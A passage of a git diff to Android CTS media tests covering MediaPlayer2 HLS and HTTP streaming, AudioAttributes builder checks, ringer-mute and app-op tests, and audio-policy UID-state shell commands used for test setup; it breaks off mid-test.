- public void testHlsWithHeadersCookies() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
-
- final Uri uri = Uri.parse(
- "http://www.youtube.com/api/manifest/hls_variant/id/"
- + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
- + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
- + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
- + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
- + "0/key/ik0/file/m3u8");
-
- // TODO: dummy values for headers/cookies till we find a server that actually needs them
- HashMap<String, String> headers = new HashMap<>();
- headers.put("header0", "value0");
- headers.put("header1", "value1");
-
- String cookieName = "auth_1234567";
- String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
- HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
- cookie.setHttpOnly(true);
- cookie.setDomain("www.youtube.com");
- cookie.setPath("/"); // all paths
- cookie.setSecure(false);
- cookie.setDiscard(false);
- cookie.setMaxAge(24 * 3600); // 24hrs
-
- java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
- cookies.add(cookie);
-
- // Play stream for 60 seconds
- playLiveVideoTest(uri, headers, cookies, 60 * 1000);
- }
-
- public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
-
- String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
- "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
-
- // if url override provided
- String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
-
- // Play stream for 60 seconds
- playLiveAudioOnlyTest(
- testUrl,
- 60 * 1000);
- }
-
- public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
-
- // Play stream for 60 seconds
- playLiveVideoTest(
- "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
- "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
- 60 * 1000);
- }
-
-
- // Streaming audio from local HTTP server
- public void testPlayMp3Stream1() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("ringer.mp3", false, false);
- }
- public void testPlayMp3Stream2() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("ringer.mp3", false, false);
- }
- public void testPlayMp3StreamRedirect() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("ringer.mp3", true, false);
- }
- public void testPlayMp3StreamNoLength() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("noiseandchirps.mp3", false, true);
- }
- public void testPlayOggStream() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("noiseandchirps.ogg", false, false);
- }
- public void testPlayOggStreamRedirect() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("noiseandchirps.ogg", true, false);
- }
- public void testPlayOggStreamNoLength() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpAudioStreamTest("noiseandchirps.ogg", false, true);
- }
- public void testPlayMp3Stream1Ssl() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- localHttpsAudioStreamTest("ringer.mp3", false, false);
- }
-
- private void localHttpAudioStreamTest(final String name, boolean redirect, boolean nolength)
- throws Throwable {
- mServer = new CtsTestServer(mContext);
- try {
- String stream_url = null;
- if (redirect) {
- // Stagefright doesn't have a limit, but we can't test support of infinite redirects
- // Up to 4 redirects seems reasonable though.
- stream_url = mServer.getRedirectingAssetUrl(name, 4);
- } else {
- stream_url = mServer.getAssetUrl(name);
- }
- if (nolength) {
- stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
- }
-
- if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
- return; // skip
- }
-
- final Uri uri = Uri.parse(stream_url);
- mPlayer.setDataSource(new DataSourceDesc.Builder()
- .setDataSource(mContext, uri)
- .build());
-
- mPlayer.setDisplay(getActivity().getSurfaceHolder());
- mPlayer.setScreenOnWhilePlaying(true);
-
- mOnBufferingUpdateCalled.reset();
- MediaPlayer2.MediaPlayer2EventCallback ecb =
- new MediaPlayer2.MediaPlayer2EventCallback() {
- @Override
- public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- fail("Media player had error " + what + " playing " + name);
- }
-
- @Override
- public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
- mOnPrepareCalled.signal();
- } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
- mOnBufferingUpdateCalled.signal();
- }
- }
- };
- mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
- assertFalse(mOnBufferingUpdateCalled.isSignalled());
-
- mPlayer.prepare();
- mOnPrepareCalled.waitForSignal();
-
- if (nolength) {
- mPlayer.play();
- Thread.sleep(LONG_SLEEP_TIME);
- assertFalse(mPlayer.isPlaying());
- } else {
- mOnBufferingUpdateCalled.waitForSignal();
- mPlayer.play();
- Thread.sleep(SLEEP_TIME);
- }
- mPlayer.stop();
- mPlayer.reset();
- } finally {
- mServer.shutdown();
- }
- }
- private void localHttpsAudioStreamTest(final String name, boolean redirect, boolean nolength)
- throws Throwable {
- mServer = new CtsTestServer(mContext, true);
- try {
- String stream_url = null;
- if (redirect) {
- // Stagefright doesn't have a limit, but we can't test support of infinite redirects
- // Up to 4 redirects seems reasonable though.
- stream_url = mServer.getRedirectingAssetUrl(name, 4);
- } else {
- stream_url = mServer.getAssetUrl(name);
- }
- if (nolength) {
- stream_url = stream_url + "?" + CtsTestServer.NOLENGTH_POSTFIX;
- }
-
- final Uri uri = Uri.parse(stream_url);
- mPlayer.setDataSource(new DataSourceDesc.Builder()
- .setDataSource(mContext, uri)
- .build());
-
- mPlayer.setDisplay(getActivity().getSurfaceHolder());
- mPlayer.setScreenOnWhilePlaying(true);
-
- mOnBufferingUpdateCalled.reset();
-
- MediaPlayer2.MediaPlayer2EventCallback ecb =
- new MediaPlayer2.MediaPlayer2EventCallback() {
- @Override
- public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- mOnErrorCalled.signal();
- }
-
- @Override
- public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
- mOnPrepareCalled.signal();
- } else if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
- mOnBufferingUpdateCalled.signal();
- }
- }
- };
- mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
- assertFalse(mOnBufferingUpdateCalled.isSignalled());
- try {
- mPlayer.prepare();
- mOnErrorCalled.waitForSignal();
- } catch (Exception ex) {
- return;
- }
- } finally {
- mServer.shutdown();
- }
- }
-
- // TODO: unhide this test when we sort out how to expose buffering control API.
- private void doTestBuffering() throws Throwable {
- final String name = "ringer.mp3";
- mServer = new CtsTestServer(mContext);
- try {
- String stream_url = mServer.getAssetUrl(name);
-
- if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
- Log.w(TAG, "can not find stream " + stream_url + ", skipping test");
- return; // skip
- }
-
- Monitor onSetBufferingParamsCalled = new Monitor();
- MediaPlayer2.MediaPlayer2EventCallback ecb =
- new MediaPlayer2.MediaPlayer2EventCallback() {
- @Override
- public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- fail("Media player had error " + what + " playing " + name);
- }
- @Override
- public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- if (what == MediaPlayer2.MEDIA_INFO_BUFFERING_UPDATE) {
- mOnBufferingUpdateCalled.signal();
- }
- }
- @Override
- public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
- int what, int status) {
- if (what == MediaPlayer2.CALL_COMPLETED_SET_BUFFERING_PARAMS) {
- mCallStatus = status;
- onSetBufferingParamsCalled.signal();
- }
- }
- };
- mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
- // getBufferingParams should be called after setDataSource.
- try {
- BufferingParams params = mPlayer.getBufferingParams();
- fail("MediaPlayer2 failed to check state for getBufferingParams");
- } catch (IllegalStateException e) {
- // expected
- }
-
- // setBufferingParams should be called after setDataSource.
- BufferingParams params = new BufferingParams.Builder()
- .setInitialMarkMs(2)
- .setResumePlaybackMarkMs(3)
- .build();
- mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
- onSetBufferingParamsCalled.reset();
- mPlayer.setBufferingParams(params);
- onSetBufferingParamsCalled.waitForSignal();
- assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
-
- final Uri uri = Uri.parse(stream_url);
- mPlayer.setDataSource(new DataSourceDesc.Builder()
- .setDataSource(mContext, uri)
- .build());
-
- mPlayer.setDisplay(getActivity().getSurfaceHolder());
- mPlayer.setScreenOnWhilePlaying(true);
-
- mOnBufferingUpdateCalled.reset();
-
- assertFalse(mOnBufferingUpdateCalled.isSignalled());
-
- params = mPlayer.getBufferingParams();
-
- int newMark = params.getInitialMarkMs() + 2;
- BufferingParams newParams =
- new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
-
- onSetBufferingParamsCalled.reset();
- mPlayer.setBufferingParams(newParams);
- onSetBufferingParamsCalled.waitForSignal();
-
- int checkMark = -1;
- BufferingParams checkParams = mPlayer.getBufferingParams();
- checkMark = checkParams.getInitialMarkMs();
- assertEquals("marks do not match", newMark, checkMark);
-
- // TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
-
- mPlayer.reset();
- } finally {
- mServer.shutdown();
- }
- }
-
- public void testPlayHlsStream() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
- localHlsTest("hls.m3u8", false, false);
- }
-
- public void testPlayHlsStreamWithQueryString() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
- localHlsTest("hls.m3u8", true, false);
- }
-
- public void testPlayHlsStreamWithRedirect() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
- localHlsTest("hls.m3u8", false, true);
- }
-
- public void testPlayHlsStreamWithTimedId3() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- Log.d(TAG, "Device doesn't have video codec, skipping test");
- return;
- }
-
- mServer = new CtsTestServer(mContext);
- try {
- // counter must be final if we want to access it inside onTimedMetaData;
- // use AtomicInteger so we can have a final counter object with mutable integer value.
- final AtomicInteger counter = new AtomicInteger();
- String stream_url = mServer.getAssetUrl("prog_index.m3u8");
- final Uri uri = Uri.parse(stream_url);
- mPlayer.setDataSource(new DataSourceDesc.Builder()
- .setDataSource(mContext, uri)
- .build());
- mPlayer.setDisplay(getActivity().getSurfaceHolder());
- mPlayer.setScreenOnWhilePlaying(true);
- mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
- final Object completion = new Object();
- MediaPlayer2.MediaPlayer2EventCallback ecb =
- new MediaPlayer2.MediaPlayer2EventCallback() {
- int run;
- @Override
- public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
- mOnPrepareCalled.signal();
- } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
- if (run++ == 0) {
- mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
- mPlayer.play();
- } else {
- mPlayer.stop();
- synchronized (completion) {
- completion.notify();
- }
- }
- }
- }
-
- @Override
- public void onTimedMetaDataAvailable(MediaPlayer2 mp, DataSourceDesc dsd,
- TimedMetaData md) {
- counter.incrementAndGet();
- long pos = mp.getCurrentPosition();
- long timeUs = md.getTimestamp();
- byte[] rawData = md.getMetaData();
- // Raw data contains an id3 tag holding the decimal string representation of
- // the associated time stamp rounded to the closest half second.
-
- int offset = 0;
- offset += 3; // "ID3"
- offset += 2; // version
- offset += 1; // flags
- offset += 4; // size
- offset += 4; // "TXXX"
- offset += 4; // frame size
- offset += 2; // frame flags
- offset += 1; // "\x03" : UTF-8 encoded Unicode
- offset += 1; // "\x00" : null-terminated empty description
-
- int length = rawData.length;
- length -= offset;
- length -= 1; // "\x00" : terminating null
-
- String data = new String(rawData, offset, length);
- int dataTimeUs = Integer.parseInt(data);
- assertTrue("Timed ID3 timestamp does not match content",
- Math.abs(dataTimeUs - timeUs) < 500000);
- assertTrue("Timed ID3 arrives after timestamp", pos * 1000 < timeUs);
- }
-
- @Override
- public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
- int what, int status) {
- if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
- mOnPlayCalled.signal();
- }
- }
- };
- mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
-
- mPlayer.prepare();
- mOnPrepareCalled.waitForSignal();
-
- mOnPlayCalled.reset();
- mPlayer.play();
- mOnPlayCalled.waitForSignal();
- assertTrue("MediaPlayer2 not playing", mPlayer.isPlaying());
-
- int i = -1;
- List<TrackInfo> trackInfos = mPlayer.getTrackInfo();
- for (i = 0; i < trackInfos.size(); i++) {
- TrackInfo trackInfo = trackInfos.get(i);
- if (trackInfo.getTrackType() == TrackInfo.MEDIA_TRACK_TYPE_METADATA) {
- break;
- }
- }
- assertTrue("Stream has no timed ID3 track", i >= 0);
- mPlayer.selectTrack(i);
-
- synchronized (completion) {
- completion.wait();
- }
-
- // There are a total of 19 metadata access units in the test stream; every one of them
- // should be received twice: once before the seek and once after.
- assertTrue("Incorrect number of timed ID3s recieved", counter.get() == 38);
- } finally {
- mServer.shutdown();
- }
- }
-
- private static class WorkerWithPlayer implements Runnable {
- private final Object mLock = new Object();
- private Looper mLooper;
- private MediaPlayer2 mPlayer;
-
- /**
- * Creates a worker thread with the given name. The thread
- * then runs a {@link android.os.Looper}.
- * @param name A name for the new thread
- */
- WorkerWithPlayer(String name) {
- Thread t = new Thread(null, this, name);
- t.setPriority(Thread.MIN_PRIORITY);
- t.start();
- synchronized (mLock) {
- while (mLooper == null) {
- try {
- mLock.wait();
- } catch (InterruptedException ex) {
- }
- }
- }
- }
-
- public MediaPlayer2 getPlayer() {
- return mPlayer;
- }
-
- @Override
- public void run() {
- synchronized (mLock) {
- Looper.prepare();
- mLooper = Looper.myLooper();
- mPlayer = MediaPlayer2.create();
- mLock.notifyAll();
- }
- Looper.loop();
- }
-
- public void quit() {
- mLooper.quit();
- mPlayer.close();
- }
- }
-
- public void testBlockingReadRelease() throws Throwable {
- if (IGNORE_TESTS) {
- return;
- }
-
- mServer = new CtsTestServer(mContext);
-
- WorkerWithPlayer worker = new WorkerWithPlayer("player");
- final MediaPlayer2 mp = worker.getPlayer();
-
- try {
- String path = mServer.getDelayedAssetUrl("noiseandchirps.ogg", 15000);
- final Uri uri = Uri.parse(path);
- mp.setDataSource(new DataSourceDesc.Builder()
- .setDataSource(mContext, uri)
- .build());
-
- MediaPlayer2.MediaPlayer2EventCallback ecb =
- new MediaPlayer2.MediaPlayer2EventCallback() {
- @Override
- public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
- if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
- fail("prepare should not succeed");
- }
- }
- };
- mp.setMediaPlayer2EventCallback(mExecutor, ecb);
-
- mp.prepare();
- Thread.sleep(1000);
- long start = SystemClock.elapsedRealtime();
- mp.close();
- long end = SystemClock.elapsedRealtime();
- long releaseDuration = (end - start);
- assertTrue("release took too long: " + releaseDuration, releaseDuration < 1000);
- } catch (IllegalArgumentException e) {
- fail(e.getMessage());
- } catch (SecurityException e) {
- fail(e.getMessage());
- } catch (IllegalStateException e) {
- fail(e.getMessage());
- } catch (InterruptedException e) {
- fail(e.getMessage());
- } finally {
- mServer.shutdown();
- }
-
- // give the worker a bit of time to start processing the message before shutting it down
- Thread.sleep(5000);
- worker.quit();
- }
-
- private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
- throws Throwable {
- mServer = new CtsTestServer(mContext);
- try {
- String stream_url = null;
- if (redirect) {
- stream_url = mServer.getQueryRedirectingAssetUrl(name);
- } else {
- stream_url = mServer.getAssetUrl(name);
- }
- if (appendQueryString) {
- stream_url += "?foo=bar/baz";
- }
-
- playLiveVideoTest(stream_url, 10);
- } finally {
- mServer.shutdown();
- }
- }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 186f322..749bc32 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -16,6 +16,8 @@
package android.media.cts;
+import static org.testng.Assert.assertThrows;
+
import android.media.AudioAttributes;
import android.media.AudioManager;
import android.os.Parcel;
@@ -81,6 +83,38 @@
}
}
+ // -----------------------------------------------------------------
+ // Builder tests
+ // ----------------------------------
+ public void testInvalidUsage() {
+ assertThrows(IllegalArgumentException.class,
+ () -> { new AudioAttributes.Builder()
+ .setUsage(Integer.MIN_VALUE / 2) // some invalid value
+ .build();
+ });
+ }
+
+ public void testInvalidContentType() {
+ assertThrows(IllegalArgumentException.class,
+ () -> {
+ new AudioAttributes.Builder()
+ .setContentType(Integer.MIN_VALUE / 2) // some invalid value
+ .build();
+ } );
+ }
+
+ public void testDefaultUnknown() {
+ final AudioAttributes aa = new AudioAttributes.Builder()
+ .setFlags(AudioAttributes.ALLOW_CAPTURE_BY_ALL)
+ .build();
+ assertEquals("Unexpected default usage", AudioAttributes.USAGE_UNKNOWN, aa.getUsage());
+ assertEquals("Unexpected default content type",
+ AudioAttributes.CONTENT_TYPE_UNKNOWN, aa.getContentType());
+ }
+
+ // -----------------------------------------------------------------
+ // Capture policy tests
+ // ----------------------------------
public void testAllowedCapturePolicy() throws Exception {
for (int setPolicy : new int[] { AudioAttributes.ALLOW_CAPTURE_BY_ALL,
AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM,
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 2618c3d..90f517a 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -190,13 +190,6 @@
@AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
public void testMicrophoneMuteIntent() throws Exception {
- // Skip this test for automotive.
- // This tests listens for ACTION_MICROPHONE_MUTE_CHANGED which AudioService only broadcasts
- // to system user. Automotive devices, which runs in secondary user, will fail this test.
- if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- return;
- }
-
if (!mDoNotCheckUnmute) {
final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
AudioManager.ACTION_MICROPHONE_MUTE_CHANGED);
@@ -1284,6 +1277,41 @@
mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
assertTrue("Alarm stream should be muted",
mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+ assertFalse("Ringer stream should not be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+ } finally {
+ setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ }
+ }
+
+ public void testPriorityOnlySystemDisallowedWithRingerMuted() throws Exception {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
+ return;
+ }
+
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ try {
+ // ensure volume is not muted/0 to start test, but then mute ringer
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
+ mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+
+ // allow only system in priority only
+ mNm.setNotificationPolicy(new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
+ setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ // delay for streams to get into correct mute states
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+ assertTrue("Music (media) stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+ assertTrue("System stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+ assertTrue("Alarm stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
// Test requires that the phone's default state has no channels that can bypass dnd
assertTrue("Ringer stream should be muted",
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index c2c2a34..47b75bf 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -489,6 +489,8 @@
// Stopping one AR must allow creating a new one
audioRecords.peek().stop();
audioRecords.pop().release();
+ final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
+ Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
audioRecords.push(createDefaultPlaybackCaptureRecord());
// That new one must still be able to capture
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index 6256175..21f7a1b 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -33,6 +33,7 @@
import android.media.AudioPlaybackConfiguration;
import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
import java.lang.reflect.Method;
import java.util.ArrayList;
@@ -361,16 +362,16 @@
}
private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
- private int mCalled = 0;
- private int mNbConfigs = 0;
- private List<AudioPlaybackConfiguration> mConfigs;
private final Object mCbLock = new Object();
+ @GuardedBy("mCbLock")
+ private int mCalled;
+ @GuardedBy("mCbLock")
+ private List<AudioPlaybackConfiguration> mConfigs;
void reset() {
synchronized (mCbLock) {
mCalled = 0;
- mNbConfigs = 0;
- mConfigs.clear();
+ mConfigs = new ArrayList<AudioPlaybackConfiguration>();
}
}
@@ -381,9 +382,7 @@
}
int getNbConfigs() {
- synchronized (mCbLock) {
- return mNbConfigs;
- }
+ return getConfigs().size();
}
List<AudioPlaybackConfiguration> getConfigs() {
@@ -393,13 +392,13 @@
}
MyAudioPlaybackCallback() {
+ reset();
}
@Override
public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
synchronized (mCbLock) {
mCalled++;
- mNbConfigs = configs.size();
mConfigs = configs;
}
}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 5509682..54e7142 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -16,7 +16,7 @@
package android.media.cts;
-import static android.app.AppOpsManager.OP_RECORD_AUDIO;
+import static android.app.AppOpsManager.OPSTR_RECORD_AUDIO;
import static com.google.common.truth.Truth.assertThat;
@@ -77,11 +77,12 @@
.build();
// The app op should be reported as not started
- assertThat(appOpsManager.isOperationActive(OP_RECORD_AUDIO,
+ assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
uid, packageName)).isFalse();
// Start watching for app op active
- appOpsManager.startWatchingActive(new int[] {OP_RECORD_AUDIO}, listener);
+ appOpsManager.startWatchingActive(new String[] { OPSTR_RECORD_AUDIO },
+ getContext().getMainExecutor(), listener);
// Start recording
candidateRecorder.startRecording();
@@ -89,11 +90,11 @@
// The app op should start
verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
- .only()).onOpActiveChanged(eq(OP_RECORD_AUDIO),
+ .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
eq(uid), eq(packageName), eq(true));
// The app op should be reported as started
- assertThat(appOpsManager.isOperationActive(OP_RECORD_AUDIO,
+ assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
uid, packageName)).isTrue();
@@ -107,11 +108,11 @@
// The app op should stop
verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
- .only()).onOpActiveChanged(eq(OP_RECORD_AUDIO),
+ .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
eq(uid), eq(packageName), eq(false));
// The app op should be reported as not started
- assertThat(appOpsManager.isOperationActive(OP_RECORD_AUDIO,
+ assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
uid, packageName)).isFalse();
} finally {
if (recorder != null) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 6ea560a..d39725b 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -35,12 +35,14 @@
import android.media.AudioTrack;
import android.media.MediaRecorder;
import android.media.MediaSyncEvent;
+import android.media.MicrophoneDirection;
import android.media.MicrophoneInfo;
import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.os.PersistableBundle;
+import android.os.Process;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
import android.util.Log;
@@ -631,12 +633,14 @@
}
AudioRecord recorder = null;
+ String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ int currentUserId = Process.myUserHandle().getIdentifier();
// We will record audio for 20 sec from active and idle state expecting
// the recording from active state to have data while from idle silence.
try {
// Ensure no race and UID active
- makeMyUidStateActive();
+ makeMyUidStateActive(packageName, currentUserId);
// Setup a recorder
final AudioRecord candidateRecorder = new AudioRecord.Builder()
@@ -670,7 +674,7 @@
// Start clean
buffer.clear();
// Force idle the package
- makeMyUidStateIdle();
+ makeMyUidStateIdle(packageName, currentUserId);
// Read five seconds of data
readDataTimed(recorder, 5000, buffer);
// Ensure we read empty bytes
@@ -679,7 +683,7 @@
// Start clean
buffer.clear();
// Reset to active
- makeMyUidStateActive();
+ makeMyUidStateActive(packageName, currentUserId);
// Read five seconds of data
readDataTimed(recorder, 5000, buffer);
// Ensure we read non-empty bytes
@@ -689,7 +693,7 @@
recorder.stop();
recorder.release();
}
- resetMyUidState();
+ resetMyUidState(packageName, currentUserId);
}
}
@@ -1629,25 +1633,67 @@
return totalSilenceCount > valueCount / 2;
}
- private static void makeMyUidStateActive() throws IOException {
- final String command = "cmd media.audio_policy set-uid-state "
- + InstrumentationRegistry.getTargetContext().getPackageName() + " active";
+ private static void makeMyUidStateActive(String packageName, int userId) throws IOException {
+ final String command = String.format(
+ "cmd media.audio_policy set-uid-state %s active --user %d", packageName, userId);
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
- private static void makeMyUidStateIdle() throws IOException {
- final String command = "cmd media.audio_policy set-uid-state "
- + InstrumentationRegistry.getTargetContext().getPackageName() + " idle";
+ private static void makeMyUidStateIdle(String packageName, int userId) throws IOException {
+ final String command = String.format(
+ "cmd media.audio_policy set-uid-state %s idle --user %d", packageName, userId);
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
- private static void resetMyUidState() throws IOException {
- final String command = "cmd media.audio_policy reset-uid-state "
- + InstrumentationRegistry.getTargetContext().getPackageName();
+ private static void resetMyUidState(String packageName, int userId) throws IOException {
+ final String command = String.format(
+ "cmd media.audio_policy reset-uid-state %s --user %d", packageName, userId);
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
private static Context getContext() {
return InstrumentationRegistry.getInstrumentation().getTargetContext();
}
+
+ /*
+ * Microphone Direction API tests
+ */
+ public void testSetPreferredMicrophoneDirection() {
+ if (!hasMicrophone()) {
+ return;
+ }
+
+ try {
+ boolean success =
+ mAudioRecord.setPreferredMicrophoneDirection(
+ MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
+
+ // Can't actually test this as HAL may not have implemented it
+ // Just verify that it doesn't crash or throw an exception
+ // assertTrue(success);
+ } catch (Exception ex) {
+ Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
+ assertTrue(false);
+ }
+ return;
+ }
+
+ public void testSetPreferredMicrophoneFieldDimension() {
+ if (!hasMicrophone()) {
+ return;
+ }
+
+ try {
+ boolean success = mAudioRecord.setPreferredMicrophoneFieldDimension(1.0f);
